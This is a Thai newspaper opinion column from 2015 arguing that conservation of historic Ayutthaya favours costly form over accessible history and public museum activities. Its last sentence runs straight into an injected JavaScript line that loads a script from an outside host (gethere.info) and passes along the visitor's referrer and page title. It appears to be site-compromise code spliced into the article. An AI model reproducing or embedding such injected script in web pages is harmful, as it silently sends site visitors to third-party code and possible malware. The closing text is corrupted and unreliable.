มติชนรายวัน ฉบับประจำวันจันทร์ที่ 16 กุมภาพันธ์ 2558

 

อยุธยาน่าเที่ยว แต่ไม่น่าไป?

          อยุธยา นครประวัติศาสตร์ น่าเที่ยวน่าอยู่ ก้าวสู่สากล

          เป็นวิสัยทัศน์ที่มีผู้อ้างว่าชาวอยุธยากำหนดร่วมกับผู้ว่าฯ อยุธยา (ประชาชาติธุรกิจ วันพฤหัสบดีที่ 5-วันอาทิตย์ที่ 8 กุมภาพันธ์ 2558 หน้า 25)

          รายงานข่าวยังบอกอีกว่าคลัสเตอร์ด้านบริหารจัดการของอยุธยา มีข้อหนึ่งว่า อนุรักษ์พัฒนาเมืองมรดกโลก

          แต่ไม่มีบอกว่าอนุรักษ์อย่างไร? พัฒนาอย่างไร? ต้องไปพร้อมด้วยกันทั้งรูปแบบและเนื้อหา หรือต่างคนต่างไป?

          อยุธยาเท่าที่เห็นเป็นพยาน ใครๆก็รู้ดีว่ารูปแบบล้ำหน้าเกินเนื้อหา หรือเนื้อหาล้าหลังกว่ารูปแบบ

          รูปแบบ ลงทุนสูงมากเพื่ออนุรักษ์และพัฒนาแบบสะเปะสะปะ จนรกรุงรังเละเทะเลอะเทอะ เช่น

          ห้องน้ำรับนักท่องเที่ยวที่วัดมหาธาตุเก็บค่าบริการ 5 บาท แต่มาตรฐานต่ำกว่าห้องน้ำที่ไม่เก็บค่าบริการในปั๊ม ปตท.

          เนื้อหา แทบไม่มีให้สามัญชนเข้าถึงง่ายๆ เรื่องประวัติศาสตร์สังคมกินขี้ปี้นอน ส่วนที่มีก็สูงส่งสุดเอื้อมเป็นประวัติศาสตร์ศิลปะของคนชั้นสูง เข้าใจยากมากๆ

          โทรทัศน์ทางไกลเพื่อการศึกษาเมื่อต้นเดือนกุมภาพันธ์ 2558 ยังบรรยายว่าพระเจ้าอู่ทองกษัตริย์องค์แรกของอยุธยา หนีโรคห่าจากเมืองอู่ทอง สุพรรณ ทั้งๆทางวิชาการยกเลิกแนวคิดนี้เกือบ 30 ปีมาแล้ว เพราะมีหลักฐานเป็นที่รู้กว้างขวางทั่วโลกว่าอยุธยาสืบเนื่องจากรัฐละโว้ (ที่ จ. ลพบุรี)

          นี่เป็นผลจาก อนุรักษ์พัฒนาเมืองมรดกโลกเฉพาะรูปแบบ แต่ทิ้งเนื้อหา

          มิวเซียมในสากลโลก ต้องมีกิจกรรมสม่ำเสมอเพื่อแบ่งปันเผยแพร่ความรู้สู่สาธารณะ ด้วยกลวิธีต่างๆหลากหลาย

          เอนก สีหามาตย์ อดีตอธิบดีกรมศิลปากร (เคยเป็น ผอ.สำนักศิลปากรที่อยุธยา) ให้มีกิจกรรมในพิพิธภัณฑ์เจ้าสามพระยา เช่น โขนตอนสร้างอยุธยา ฯลฯ ชาวบ้านนับพันๆ พากันไปดู แล้วทยอยรับแบ่งปันความรู้ไปเต็มๆ

          กิจกรรมแบ่งปันเผยแพร่ความรู้สู่สาธารณะ มีคร่าวๆอย่างน้อย 2 ระดับ คือ

          (1.) ระดับลึก เพื่อวิชาการล้วนๆ ข้าราชการและพนักงานฯ จัดกันเองง่ายๆ นานๆครั้งก็ได้ และ (2.) ระดับกว้าง เพื่อความรื่นรมย์สนุกสนานอย่างมีวิชาความรู้กว้างๆ ง่ายๆ หลายๆแขนง ควรจัดการโดยมืออาชีพที่อยู่ในความดูแลของนักวิชาการทั่วไปที่ทันสมัยใจกว้าง ไม่อนุรักษ์แข็งทื่อ

          เป้าหมายเพื่อดึงดูดคนทั่วไปมากๆเข้าร่วม แต่ถึงอย่างไรก็ถูกจำกัดเองโดยเนื้อหาสาระของกิจกรรม เพราะไม่ใช่คอนเสิร์ตขายสินค้า หรือขายเบียร์เหล้า

          ผู้บริหารที่ไม่เปิดกว้าง แล้วบริหารจัดการไม่เป็น ย่อมไม่คิดถึงชาวบ้านทั่วไปซึ่งมีมาก จึงมักอ้างเพื่อเอาตัวรอดแค่นั้นว่ากิจกรรมความรู้ไม่จำเป็นต้องมีคนมาร่วมมาก

          ถ้ากิจกรรมระดับลึกทางวิชาความรู้ แล้วมีผู้คนยินดีเข้าร่วมมากๆ (โดยไม่เกณฑ์) จะมิดีกว่าหรือ? (ซึ่งจริงๆแล้วเป็นไปได้ยากมากๆ)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;